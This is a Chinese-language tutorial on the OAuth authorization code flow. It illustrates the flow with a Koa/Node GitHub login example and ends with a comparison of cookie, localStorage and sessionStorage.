第三方应用申请令牌之前,都必须先到系统备案,说明自己的身份,然后会拿到两个身份识别码:客户端 ID(client ID)和客户端密钥(client secret)。这是为了防止令牌被滥用,没有备案过的第三方应用,是不会拿到令牌的。
在前后端分离的情况下,我们常使用授权码方式,指的是第三方应用先申请一个授权码,然后再用该码获取令牌。
GitHub 第三方登录示例
我们用例子来理清授权码方式的流程。
- 在
GitHub中备案第三方应用,拿到属于它的客户端ID和客户端密钥;
在 github-settings-developer settings 中创建一个 OAuth App。并填写相关内容。填写完成后 Github 会给你一个客户端 ID 和客户端密钥。
- 此时在你的第三方网站就可以提供一个
Github登录链接,用户点击该链接后会跳转到Github,这一步拿着客户端ID向Github请求授权码code;
const config = {
client_id: 'XXX',
client_secret: 'XXX',
};
router.get('/github/login', async ctx => {
var dataStr = new Date().valueOf();
// 重定向到认证接口,并配置参数
var path = 'https://github.com/login/oauth/authorize';
path += '?client_id=' + config.client_id;
// 转发到授权服务器
ctx.redirect(path);
});
- 用户跳转到
Github,输入Github的用户名密码,表示用户同意使用Github身份登录第三方网站,此时就会带着授权码code跳回第三方网站,跳回的地址在创建该OAuth时已经设置好了; - 第三方网站收到授权码,就可以拿着授权码、客户端
ID和客户端密钥去向Github请求access_token令牌; Github收到请求,因为有access_token,所以向第三方网站颁发令牌;- 第三方网站收到令牌,就可以暂时拥有
Github一些请求的权限,比如说拿到用户信息,拿到这个用户信息之后就可以构建自己第三方网站的token,做相关的鉴权操作;
router.get('/github/callback', async ctx => {
console.log('callback..');
const code = ctx.query.code;
const params = {
client_id: config.client_id,
client_secret: config.client_secret,
code: code,
};
let res = await axios.post('https://github.com/login/oauth/access_token', params);
const access_token = querystring.parse(res.data).access_token;
res = await axios.get('https://api.github.com/user?access_token=' + access_token);
console.log('userAccess:', res.data);
ctx.body = `
<h1>Hello ${res.data.login}</h1>
<img src="${res.data.avatar_url}" alt=""/>
`;
});
OAuth 授权的登陆流程图
如下图:
补充
cookie、localStorage 和 sessionStorage 的异同点
相同点
- 都是保存在浏览器端、且同源的;
不同点
- 与服务器通信不同:
cookie数据始终在同源的http请求中携带(即使不需要),即cookie在浏览器和服务器间来回传递,而sessionStorage和localStorage不会自动把数据发送给服务器,仅在本地保存;cookie会随着http请求被发送出去,而loacalStorage和sessionStorage不会随着http请求被发送出去;cookie数据还有路径(path)的概念,可以限制cookie只属于某个路径下;
- 存储大小限制也不同:
cookie数据不能超过4K,同时因为每次http请求都会携带cookie、所以cookie只适合保存很小的数据,如会话标识;sessionStorage和localStorage虽然也有存储大小的限制,但比cookie大得多,可以达到5M或更大;
- 数据有效期不同:
sessionStorage:仅在当前浏览器窗口关闭之前有效;localStorage:始终有效,窗口或浏览器关闭也一直保存,因此用作持久数据;cookie:只在设置的cookie过期时间之前有效,即使窗口关闭或浏览器关闭;
- 作用域不同:
sessionStorage在不同的浏览器窗口中不共享,即使是同一个页面;localstorage和cookie在所有同源窗口中都是共享的;